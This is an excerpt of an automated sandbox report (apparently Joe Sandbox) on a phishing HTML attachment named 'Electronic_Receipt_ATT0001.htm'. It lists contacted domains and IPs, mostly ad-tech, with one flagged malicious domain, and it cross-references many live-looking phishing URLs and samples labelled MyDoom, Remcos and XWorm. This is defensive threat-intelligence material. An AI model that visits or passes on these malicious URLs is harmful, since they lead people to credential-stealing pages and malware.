ib.anycast.adnxs.com	185.89.210.244	true	false	unknown
dsp.nrich.ai	51.68.39.188	true	false	unknown
edge.gycpi.b.yahoodns.net	87.248.119.252	true	false	unknown
matching.truffle.bid	162.55.120.196	true	false	unknown
uipus.semasio.net	50.57.31.206	true	false	unknown
hfj.rontishet.ru	172.67.147.215	true	true	unknown
d1r2bc6e8cjv9q.cloudfront.net	13.35.58.32	true	false	unknown
csm.nl3.vip.prod.criteo.net	178.250.1.25	true	false	unknown
ht4hkoldfwqkuse7qoti8nr4vfbfcgkyagnd3phsgq5swccnhjjxv.hocklahro.ru	104.21.93.96	true	false	unknown
ws.rqtrk.eu	57.129.18.113	true	false	unknown
eu-eb2.3lift.com	76.223.111.18	true	false	unknown
hbopenbid-ams.pubmnet.com	185.64.189.112	true	false	unknown
livepixel-production.bln.liveintent.com	54.237.79.162	true	false	unknown
me-ycpi-cf-www.g06.yahoodns.net	87.248.119.252	true	false	unknown

Name	Source	Malicious	Reputation
https://www.cnn.com/weather/live-news/hurricane-helene-florida-north-carolina-georgia-09-30-24/index	chromecache_1198.2.dr, chromecache_1077.2.dr	false	unknown
https://s.yimg.com/ny/api/res/1.2/MZoDSOkdfFVM5mC2aKTdfQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MQ--/	chromecache_1198.2.dr	false	unknown
https://s.yimg.com/ny/api/res/1.2/uWgN5MwziJAdydDgekM9TA--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA-/https://	chromecache_1197.2.dr	false	unknown
https://s.yimg.com/ny/api/res/1.2/7pBBQ0VHMr4GSe16kRpffQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MTtjZ	chromecache_846.2.dr	false	unknown
https://wwd.com/fashion-news/fashion-features/gallery/the-last-showgirl-tiff-2024-red-carpet-photos-	chromecache_1198.2.dr, chromecache_1077.2.dr	false	unknown
https://mwzeom.zeotap.com/mw?zpartnerid=1384&env=mWeb&gdpr=0&gdpr_consent=&cid=176682A8-E121-44A7-81	chromecache_1258.2.dr	false	unknown
https://s.yimg.com/ny/api/res/1.2/dYWkFglljzFtelabSwqMhA--/YXBwaWQ9aGlnaGxhbmRlcjt3PTIwMDA7aD0yODYwO	chromecache_1077.2.dr	false	unknown
https://dsp-ap.eskimi.com/pixelGet?ex=50&gdpr=	chromecache_445.2.dr, chromecache_880.2.dr, chromecache_588.2.dr, chromecache_556.2.dr, chromecache_1082.2.dr, chromecache_1099.2.dr, chromecache_894.2.dr, chromecache_545.2.dr, chromecache_707.2.dr, chromecache_670.2.dr	false	unknown
https://ep1.adtrafficquality.google/pagead/gen_204?id=sodar2&v=231	chromecache_523.2.dr	false	unknown
https://ep1.adtrafficquality.google/pagead/gen_204?id=sodar2&v=232	chromecache_1358.2.dr, chromecache_1002.2.dr	false	unknown
https://apnews.com/article/hurricane-helene-tropical-weather-destruction-16b41006d3cb6fedad78d19ca3f	chromecache_1198.2.dr, chromecache_1077.2.dr	false	unknown
https://wwd.com/eye/people/pamela-anderson-cover-story-netflix-documentary-memoir-1235511775/	chromecache_1198.2.dr, chromecache_1077.2.dr	false	unknown
https://uipglob.semasio.net/pubmatic/1/info?sType=sync&sExtCookieId=176682A8-E121-44A7-818D-4FE53D54	chromecache_1258.2.dr	false	unknown
https://s.yimg.com/ny/api/res/1.2/yZlH5dp1YliC6.iAvXGPpw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTIwMDA7aD0yMDAwO	chromecache_1077.2.dr	false	unknown
https://b1sync.zemanta.com/usersync/openx?puid=a217410b-ab91-0b95-0924-e56231c5c33c&cb=https%3A%2F%2	chromecache_643.2.dr	false	unknown
https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&	chromecache_1197.2.dr, chromecache_466.2.dr	false	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
199.232.211.52	dualstack.ioriver.map.fastly.net	United States	54113	FASTLYUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
34.95.69.49	i.clean.gg	United States	15169	GOOGLEUS	false
3.160.150.30	sync.intentiq.com	United States	16509	AMAZON-02US	false
54.154.153.241	aws-bid-global.ybp.gysm.yahoodns.net	United States	16509	AMAZON-02US	false
99.80.51.253	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
3.219.229.28	k8s-kongow-monitorp-157cd18d00-964647605.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
212.82.100.137	ds-global3.l7.search.ystg1.b.yahoo.com	United Kingdom	34010	YAHOO-IRDGB	false
185.89.210.20	unknown	Germany	29990	ASN-APPNEXUS	false
198.47.127.205	pug-ams-bc.pubmnet.com	United States	62713	AS-PUBMATICUS	false
37.252.171.52	unknown	European Union	29990	ASN-APPNEXUS	false
35.71.131.137	unknown	United States	237	MERIT-AS-14US	false
151.101.193.44	dualstack.tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
35.214.199.88	dorpat.geo.iponweb.net	United States	19527	GOOGLE-2US	false
3.127.201.16	sonata-notifications.taptapnetworks.com	United States	16509	AMAZON-02US	false
18.196.164.227	unknown	United States	16509	AMAZON-02US	false
172.67.208.129	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.1.44	tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
107.178.254.65	pippio.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
54.194.192.48	unknown	United States	16509	AMAZON-02US	false
151.101.65.44	unknown	United States	54113	FASTLYUS	false
152.195.53.200	cs550162656.adn.psicdn.net	United States	15133	EDGECASTUS	false
18.207.87.2	unknown	United States	14618	AMAZON-AESUS	false
172.67.149.20	wnsrvbjmeprtfrnfx.ay.delivery	United States	13335	CLOUDFLARENETUS	false
35.156.245.234	cs.emxdgt.com	United States	16509	AMAZON-02US	false
185.255.84.152	visitor-fra02.omnitagjs.com	France	200271	IGUANE-FR	false
185.255.84.153	unknown	France	200271	IGUANE-FR	false
211.120.53.202	unknown	Japan	4694	IDCFIDCFrontierIncJP	false
18.157.230.4	eu-tlx.3lift.com	United States	16509	AMAZON-02US	false
208.93.169.131	am1-direct-bgp.contextweb.com	United States	26228	SERVEPATHUS	false
216.58.206.36	unknown	United States	15169	GOOGLEUS	false
87.248.119.251	unknown	United Kingdom	203220	YAHOO-DEBDE	false
54.194.52.65	unknown	United States	16509	AMAZON-02US	false
87.248.119.252	edge-prebid-cdn.g03.yahoodns.net	United Kingdom	203220	YAHOO-DEBDE	false
141.226.228.48	am-vip001.taboola.com	Israel	200478	TABOOLA-ASIL	false
52.215.155.11	rtb.adgrx.com	United States	16509	AMAZON-02US	false
54.175.124.176	sync.srv.stackadapt.com	United States	14618	AMAZON-AESUS	false
178.250.1.9	widget.nl3.vip.prod.criteo.com	France	44788	ASN-CRITEO-EUROPEFR	false
178.250.1.7	ssp-sync.nl3.vip.prod.criteo.com	France	44788	ASN-CRITEO-EUROPEFR	false
35.186.154.107	cm-supply-web.gammaplatform.com	United States	15169	GOOGLEUS	false
88.221.124.22	unknown	European Union	16625	AKAMAI-ASUS	false
172.67.147.215	hfj.rontishet.ru	United States	13335	CLOUDFLARENETUS	true
178.250.1.3	static.nl3.vip.prod.criteo.net	France	44788	ASN-CRITEO-EUROPEFR	false
34.102.163.6	ad.mrtnsvr.com	United States	15169	GOOGLEUS	false
52.212.106.216	dtp-gateway-prod-global.dsp-plus-backend.aws.oath.cloud	United States	16509	AMAZON-02US	false
46.228.174.117	sync.1rx.io	United Kingdom	56396	TURNGB	false
18.245.60.72	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
35.214.174.141	pool-eu.zagreb.iponweb.net	United States	19527	GOOGLE-2US	false
104.18.37.193	a.tribalfusion.com	United States	13335	CLOUDFLARENETUS	false
103.67.200.72	1.cpm.ak-is2.net	United States	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
91.134.110.136	rtb-csync-euw2.smartadserver.com	France	16276	OVHFR	false
3.160.150.74	unknown	United States	16509	AMAZON-02US	false
8.18.47.7	m.deepintent.com	United States	32662	GMCRUS	false
192.229.221.24	cs629.wpc.lambdacdn.net	United States	15133	EDGECASTUS	false
199.232.215.52	unknown	United States	54113	FASTLYUS	false
198.47.127.20	spug-amsfpairbc.pubmnet.com	United States	62713	AS-PUBMATICUS	false
3.73.2.196	cdn.w55c.net	United States	16509	AMAZON-02US	false
3.76.245.226	exchange.mediavine.com	United States	16509	AMAZON-02US	false
54.74.215.235	unknown	United States	16509	AMAZON-02US	false
3.124.64.248	unknown	United States	16509	AMAZON-02US	false
3.75.62.37	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud	United States	16509	AMAZON-02US	false
69.49.245.172	lipsoftinc.in	United States	46606	UNIFIEDLAYER-AS-1US	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.36.155	unknown	United States	13335	CLOUDFLARENETUS	false
52.31.79.192	prod-rotation-v2.guce.aws.oath.cloud	United States	16509	AMAZON-02US	false
35.214.132.90	rome-stable-europe-west4.pumpkin.uverse.iponweb.net	United States	19527	GOOGLE-2US	false
18.233.92.203	unknown	United States	14618	AMAZON-AESUS	false
178.250.1.56	in-ftd-65.nl3.vip.prod.criteo.com	France	44788	ASN-CRITEO-EUROPEFR	false
64.202.112.223	nydc1.outbrain.org	United States	22075	AS-OUTBRAINUS	false
34.91.62.186	um.simpli.fi	United States	15169	GOOGLEUS	false
35.214.146.245	envoy-hl.envoy-csync1.core-b8mf.ov1o.com	United States	19527	GOOGLE-2US	false
82.145.213.8	outspot2-ams.adx.opera.com	United Kingdom	39832	NO-OPERANO	false
34.117.239.71	events-ssc.33across.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
52.210.237.114	match.prod.bidr.io	United States	16509	AMAZON-02US	false
3.71.149.231	unknown	United States	16509	AMAZON-02US	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
52.95.126.160	aax-eu.amazon-adsystem.com	United States	16509	AMAZON-02US	false
172.64.151.101	ssum.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
18.244.18.27	unknown	United States	16509	AMAZON-02US	false
195.5.165.20	core.iprom.net	Slovenia	44968	IPROM-ASSI	false
54.38.113.5	pixel-eu.onaudience.com	France	16276	OVHFR	false
46.137.58.190	rtb.gumgum.com	Ireland	16509	AMAZON-02US	false
67.202.105.32	hde.tynt.com	United States	32748	STEADFASTUS	false
98.82.154.76	s.amazon-adsystem.com	United States	11351	TWC-11351-NORTHEASTUS	false
35.208.249.213	trace.mediago.io	United States	19527	GOOGLE-2US	false
192.132.33.69	bttrack.com	United States	18568	BIDTELLECTUS	false
52.54.66.88	rtb.adentifi.com	United States	14618	AMAZON-AESUS	false
216.58.212.134	s0.2mdn.net	United States	15169	GOOGLEUS	false
67.202.105.34	de.tynt.com	United States	32748	STEADFASTUS	false
52.95.122.74	unknown	United States	16509	AMAZON-02US	false
74.6.231.21	yahoo.com	United States	36646	YAHOO-NE1US	false
35.186.253.211	rtb.openx.net	United States	15169	GOOGLEUS	false
3.95.52.72	zeta-ssp-385516103.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
34.111.113.62	pixel.tapad.com	United States	15169	GOOGLEUS	false
35.186.193.173	ipac.ctnsnet.com	United States	15169	GOOGLEUS	false
192.0.78.27	href.li	United States	2635	AUTOMATTICUS	false
3.251.14.0	sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
51.89.9.254	onetag-sys.com	France	16276	OVHFR	false
151.101.129.44	unknown	United States	54113	FASTLYUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522865
Start date and time:	2024-09-30 19:19:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Electronic_Receipt_ATT0001.htm
Detection:	MAL
Classification:	mal56.phis.evad.winHTM@106/1559@804/100
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .htm Browse: https://finance.yahoo.com/screener/predefined/ms_basic_materials/

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
99.80.51.253	http://rewards-tokss-foryou.pages.dev/	Get hash	malicious	Unknown	Browse
	https://dreativityblocksnodes.pages.dev/	Get hash	malicious	Unknown	Browse
	http://icmtg.com	Get hash	malicious	Unknown	Browse
	https://phillips.secureemailportal.com/	Get hash	malicious	Unknown	Browse
	https://primesportnews.co.uk/	Get hash	malicious	Unknown	Browse
199.232.211.52	https://www.evernote.com/shard/s433/sh/cd554aa7-d510-876d-ce02-db0fba65d77c/I4fSlItksYIOuHhg8--oCkqMbxKXEunbnmkr-lyZ-lZ4LCf9NUjWg7t4Xw	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.com/url?rct=j&sa=t&url=https://www.wistv.com/2024/09/18/how-register-vote-sc/&ct=ga&cd=CAEYAyoTNDI3NTE2NDk3MjQxMjk2MDMxNTIaZjdkMjBhNTQwODRiMzY2OTpjb206ZW46VVM&usg=AOvVaw2u71nyB5_za_kch4LRgAMu	Get hash	malicious	Unknown	Browse
	https://www.evernote.com/shard/s671/sh/88c43bb7-39ed-181c-8762-a93c29b8964c/RwXFyGOLohKtNQuZxCAYTGpQKjGhTFOmIRmtBJq1Nd94sQRYOE3VH9kInw	Get hash	malicious	Unknown	Browse
	Play_VM-NowXuerebjAudiowav012.html	Get hash	malicious	HTMLPhisher	Browse
	https://www.evernote.com/shard/s561/sh/7db38d5d-8e85-2bb3-e473-c317ca9b928a/zP6S4op18egclOW-er4LPxitb1By5PCBITxZBvPdbPRfRBqouQgBf17cdQ	Get hash	malicious	Unknown	Browse
	https://www.evernote.com/shard/s579/sh/6832a1d5-e8a9-2803-f81d-a0f45696a170/6HNsgBaCootkZZsyHni5WN-5RRx60oTF44vQSsstCH0uPyt3V9BCkCsHyw	Get hash	malicious	HTMLPhisher	Browse
	http://eedqt.foruskw.com/4lAabg16572cnef1382rzkeufeqnp14569ZZZRNPUIWFYUECM7379HVKJ18607i18	Get hash	malicious	Unknown	Browse
	https://www.evernote.com/shard/s371/sh/5a1a447e-71a5-46f9-cf15-f2e110c34360/mMV8OkfDoVjPM1G0mqgr_f_1uO-_1gXPDyssbMDacTWqQTAI2mL4RLcf2A	Get hash	malicious	Unknown	Browse
	https://www.evernote.com/shard/s561/sh/11f2002c-b1a0-eb62-6088-816b3f90b1bb/Fg7pFg2UgsqSSiKlZa-LSaNHwI-aq133o_EjOkBitzRaEPMq5fq9Vaoh8A	Get hash	malicious	HTMLPhisher	Browse
	http://pflwh.pomeryan.com/4HpNTt15553xtqa1382knsykfmuvm25912PUWUJAJOPLPWWDM2837EWZP17387i18	Get hash	malicious	Unknown	Browse
212.82.100.137	AGREEMENT AND APPROVAL REPORT DIAMOND TRAILER 2024-502244_6.5.248.pdf	Get hash	malicious	Unknown	Browse	us.search.yahoo.com/yhs/search?p=Stamps+Online&param1=ob_click_id%3Dv4-yViKk7u-1083646456-1%26fri%3D28ff2c90-07f9-44b1-9430-f3b4ae65caf3&type=opsg_aevumqr8acegik37hjlnprtbzqsuwy02c_00_00_--t-2d632290f3642d24746132e5429c2c06-x1-00572f40560d169d1314680c0c2591cf2b-x4-2852716-x5-0078e32959d539640e4627f07b00d71e1c_----&hspart=yahoo&hsimp=yhs-is22a&o_cId=v4-yViKk7u-1083646456-1
	.exe	Get hash	malicious	MyDoom	Browse	www.altavista.com/web/results?q=mailto+openssl.org&kgs=0&kls=0
	AHnFoINkgu.exe	Get hash	malicious	MyDoom	Browse	www.altavista.com/web/results?q=mailto+cryptsoft.com&kgs=0&kls=0
	.exe	Get hash	malicious	MyDoom	Browse	www.altavista.com/web/results?q=mailto+mac.com&kgs=0&kls=0&nbq=50
3.160.150.30	https://en.softonic.com	Get hash	malicious	Unknown	Browse
	https://ole798.com/	Get hash	malicious	Unknown	Browse
	https://sucursal-virtual03.w3spaces.com/	Get hash	malicious	Unknown	Browse
	https://www.canva.com/design/DAGRqYHU9fM/qLQ4eWyHLFZd4WO6lX1hvg/view?utm_content=DAGRqYHU9fM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse
	https://247-dapprectify.pages.dev/wallet/index.html	Get hash	malicious	Unknown	Browse
	http://solanadappsmainnet.pages.dev/	Get hash	malicious	Unknown	Browse
	https://cq5vm0t6.r.ap-south-1.awstrack.me/L0/https:%2F%2FLq80gs39wzn7cEJYS7QxVo93bIB.cmap.com.mx%2Fxianzjdjh%2Fvjvituyuhg%2Ffugurvihd%2FcnN0ZXBhbkBzdGVwYW4uY29t/1/0109019220636f55-7ee4148e-cca2-44ad-bd25-6ee1a4a237c9-000000/O3lzw3DZZGc8Aai1RaO7S2RLaAo=173	Get hash	malicious	HTMLPhisher	Browse
	http://xb2.aggressiveq9.com/21u/	Get hash	malicious	HTMLPhisher	Browse
	https://learn-trez-en.github.io/	Get hash	malicious	Unknown	Browse
	https://protect.checkpoint.com/v2/r02/___https:/clicktime.symantec.com/a/1/zPM8RRCBucIOtZGS7nBuCsGPfGeuu7uqRi7wib3E_aY=?d=NFaqzsVnaPxuUzxsp1S8ZNeTdv5RUAvfUpeVYxZKOFi_FaxMV9Y7SVV54XPcAAn6YB9QzZxIDYthMOs47JRBZ_0PV-GDVB9ATG93QO70LP8jR59aDk47QZTQk1MCrc9z0M3DqIE9FBr3JkLMrCK4n5QQgA808-LoV3aL3E5VEqB9qmOwHolNy2exhhpbmurcCABi5zh5uKgLe9rfjkQctCPzCg3AE4fvCR7U11tWATVxiJtbisJBMe_5iBhkTFjew3iq_3GEy8ZmD-34Perc98nMVcfrpi4VxTn2R85qX2fmxz3xMqJlfOHtVdD4mDJYHRlv2yYwpVXDDq31APFUszUTvBvOIHR3Pykkf75nE0oRo-IGsNY6JAjIXdEf9hc703INnKhyaOlaJqzSGk7sTDVPbYStXF2M5bSFRVWbiTwfxF2vjGvw-UOxN6lhQJBYgMpfIk92Omh-tbjm4_bTau0WyFvFbUBrukuGpdg%3D&u=http%3A%2F%2Fwww.globalindustrial.com%2F___.YzJlOmdlcmZsb3JzcGE6YzpvOjVjNDhlMDRlZTQ0YTE0ZTU3OTkxM2M3YTlmYTI1YmE4Ojc6NTQxYTpmMjVhNGFkOWJmNTc4NzRiYWUxZDE4NmIxZWVmYzYzZTI1YWI1YWJhOTNjY2IyMjY3ZjEyMTdhNjg1MjRmZGFkOmg6RjpO	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
global.px.quantserve.com	https://serrespec.weebly.com/tc2000-stock-charting-software.html	Get hash	malicious	Unknown	Browse	91.228.74.166
	https://en.softonic.com	Get hash	malicious	Unknown	Browse	91.228.74.244
	http://home-109919.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	91.228.74.159
	http://btinternet-103485.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	91.228.74.159
	https://btinternet-102307.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	91.228.74.159
	https://netzero-webmail-106421.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	91.228.74.244
	https://att-100184.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	91.228.74.159
	https://att-service-106132.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	91.228.74.200
	https://shaw-101329.weeblysite.com/	Get hash	malicious	Unknown	Browse	91.228.74.159
	https://btinternet-107377.weeblysite.com/	Get hash	malicious	Unknown	Browse	91.228.74.166
ssum.casalemedia.com	https://en.softonic.com	Get hash	malicious	Unknown	Browse	104.18.36.155
	http://activa1dina.w3spaces.com/	Get hash	malicious	Unknown	Browse	104.18.36.155
	https://solanadefimainnet.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	172.64.151.101
	http://currently5678.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.18.36.155
	https://content.app-us1.com/kd4oo8/2024/09/26/7d3453ba-0845-4df1-80a7-42d15e30f736.pdf	Get hash	malicious	HTMLPhisher	Browse	172.64.151.101
	https://is.gd/fxcRir	Get hash	malicious	Unknown	Browse	172.64.151.101
	https://cancelar-plan-pr0teccion1.w3spaces.com/	Get hash	malicious	Unknown	Browse	172.64.151.101
	http://rewardsforyoutoclaim.pages.dev/	Get hash	malicious	Unknown	Browse	172.64.151.101
	https://aac4b0887827b3598989c48a201d0420.crimachado.com.br/wehrgiwfbfeifef/djbfhokefbwuwrjow/djhfeokhrwihfekljd/bnpheWVkaUBzdGMuY29tLnNh	Get hash	malicious	HTMLPhisher	Browse	104.18.36.155
	https://sucursal-virtual03.w3spaces.com/	Get hash	malicious	Unknown	Browse	172.64.151.101
tls13.taboola.map.fastly.net	https://www.marketbeat.com/articles/music-streaming-site-spotify-temporarily-goes-down-2024-09-29/?utm_source=newsletter&utm_medium=email&utm_campaign=newsletterclick&source=ARNDaily&AccountID=13091940&hash=99E2922EEB6FEC86743F5DB2C0E84BA5899D68F68F1472F885291F590EAD713452D3376C362A15DEDE29DFC4761637FD6FDD698F31176C60366847F610D6C32C	Get hash	malicious	Unknown	Browse	151.101.65.44
	https://www.iphone.trustefy.org/	Get hash	malicious	Unknown	Browse	151.101.129.44
	https://attofficialvalidation.weebly.com/	Get hash	malicious	Unknown	Browse	151.101.1.44
	https://currently8220.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.1.44
	http://loginscrecghjk.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.1.44
	http://currentlyatt57update.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.129.44
	http://currently1980.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.1.44
	http://currently6600.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.65.44
	https://tu4att.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.193.44
	http://currentlyatt49009new.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.193.44
static.nl3.vip.prod.criteo.net	https://attofficialvalidation.weebly.com/	Get hash	malicious	Unknown	Browse	178.250.1.3
	https://ourtime.media-datings.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	178.250.1.3
	http://currently5678.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	178.250.1.3
	http://login-ourtime.members-datings.workers.dev/v3/aboutonlinedating	Get hash	malicious	HTMLPhisher	Browse	178.250.1.3
	https://content.app-us1.com/kd4oo8/2024/09/26/7d3453ba-0845-4df1-80a7-42d15e30f736.pdf	Get hash	malicious	HTMLPhisher	Browse	178.250.1.3
	https://aac4b0887827b3598989c48a201d0420.crimachado.com.br/wehrgiwfbfeifef/djbfhokefbwuwrjow/djhfeokhrwihfekljd/bnpheWVkaUBzdGMuY29tLnNh	Get hash	malicious	HTMLPhisher	Browse	178.250.1.3
	https://www.canva.com/design/DAGRqYHU9fM/qLQ4eWyHLFZd4WO6lX1hvg/view?utm_content=DAGRqYHU9fM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	178.250.1.3
	Audio playback00_05-30-00000.html	Get hash	malicious	HTMLPhisher	Browse	178.250.1.3
	https://cq5vm0t6.r.ap-south-1.awstrack.me/L0/https:%2F%2FLq80gs39wzn7cEJYS7QxVo93bIB.cmap.com.mx%2Fxianzjdjh%2Fvjvituyuhg%2Ffugurvihd%2FcnN0ZXBhbkBzdGVwYW4uY29t/1/0109019220636f55-7ee4148e-cca2-44ad-bd25-6ee1a4a237c9-000000/O3lzw3DZZGc8Aai1RaO7S2RLaAo=173	Get hash	malicious	HTMLPhisher	Browse	178.250.1.3
	https://primesportnews.co.uk/	Get hash	malicious	Unknown	Browse	178.250.1.3

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://myworkspace183015a0ec.myclickfunnels.com/reviewdoc--96b32?preview=true	Get hash	malicious	Unknown	Browse	52.222.236.75
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.126
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.107
	https://serrespec.weebly.com/tc2000-stock-charting-software.html	Get hash	malicious	Unknown	Browse	18.244.18.60
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.107
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.107
	file.exe	Get hash	malicious	XWorm, Xmrig	Browse	3.120.98.217
	file.exe	Get hash	malicious	Unknown	Browse	18.245.31.40
	https://tracking.groovesell.com:443/t/1c336171327d66d10a047ef8cbabb880	Get hash	malicious	Unknown	Browse	52.222.232.30
	http://email.app.loyalty.appstle.com/c/eJwczE2uLBEUAODVMHty6vgfGLxJ7YNCldsaadKJ3d_kbuCLDpJVWtPkDo1aHlqApo_j-QrGx0NGE5VRkkMwCbUEaa334GlxCCjAogErldDsyjIGyVXM-UCInAjwY7Dat69rMz_GXDWxq79pdc9aYxL-n-BJ8KylvUpjoXSC5_2T2iwlljsRPOnHhc--S1VIBHzvyVp-sdbpchGMyvkfJvbe8-mj5P2nfx3-BgAA__-UbkEq	Get hash	malicious	Unknown	Browse	108.156.60.3
AMAZON-02US	https://myworkspace183015a0ec.myclickfunnels.com/reviewdoc--96b32?preview=true	Get hash	malicious	Unknown	Browse	52.222.236.75
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.126
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.107
	https://serrespec.weebly.com/tc2000-stock-charting-software.html	Get hash	malicious	Unknown	Browse	18.244.18.60
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.107
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	108.138.7.107
	file.exe	Get hash	malicious	XWorm, Xmrig	Browse	3.120.98.217
	file.exe	Get hash	malicious	Unknown	Browse	18.245.31.40
	https://tracking.groovesell.com:443/t/1c336171327d66d10a047ef8cbabb880	Get hash	malicious	Unknown	Browse	52.222.232.30
	http://email.app.loyalty.appstle.com/c/eJwczE2uLBEUAODVMHty6vgfGLxJ7YNCldsaadKJ3d_kbuCLDpJVWtPkDo1aHlqApo_j-QrGx0NGE5VRkkMwCbUEaa334GlxCCjAogErldDsyjIGyVXM-UCInAjwY7Dat69rMz_GXDWxq79pdc9aYxL-n-BJ8KylvUpjoXSC5_2T2iwlljsRPOnHhc--S1VIBHzvyVp-sdbpchGMyvkfJvbe8-mj5P2nfx3-BgAA__-UbkEq	Get hash	malicious	Unknown	Browse	108.156.60.3
FASTLYUS	https://serrespec.weebly.com/tc2000-stock-charting-software.html	Get hash	malicious	Unknown	Browse	151.101.64.84
	https://formacionadieste.com.de/Vrvz/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://tr.padlet.com/redirect/?url=http://dctools.mooo.com/smileyes/dhe/succes/pure/dad/mom/kid/she/qwerty/careese.pfund@stcotterturbine.com	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://vh.gskoffihoura.com/okta.vailhealth.org/oauth2/v1/authorize&client_id=okta-2b1959c8-bcc0-56eb	Get hash	malicious	Unknown	Browse	199.232.188.157
	AMG Cargo Logistic.docx	Get hash	malicious	Remcos	Browse	185.199.109.133
	file.exe	Get hash	malicious	XWorm, Xmrig	Browse	185.199.110.154
	Payment_Notification-Sep27.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	factura proforma .docx.doc	Get hash	malicious	Remcos	Browse	185.199.109.133
	https://www.google.com.ai/amp/clck.ru/3DSSCz?hghghghHGVGvbbgffGFHGJdgddghfhghfgdgdgdgfhgg?sdfsewsrewrettfg	Get hash	malicious	GRQ Scam	Browse	151.101.2.208
	https://ck.storematch.jp/bc?d=11044D9580EY4W1C2FD019VB3VD27BCW862C0351F9E0EA8-cdlaq4&B=a4f71fd1c235a114f94297e8a0a36c6e&sc_i=shp_pc_promo_mdRMBP_disp_mcad&rd=//interglobalcargoexpress.com/yuuuii#aW5mb0B2b3NzbG9oLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
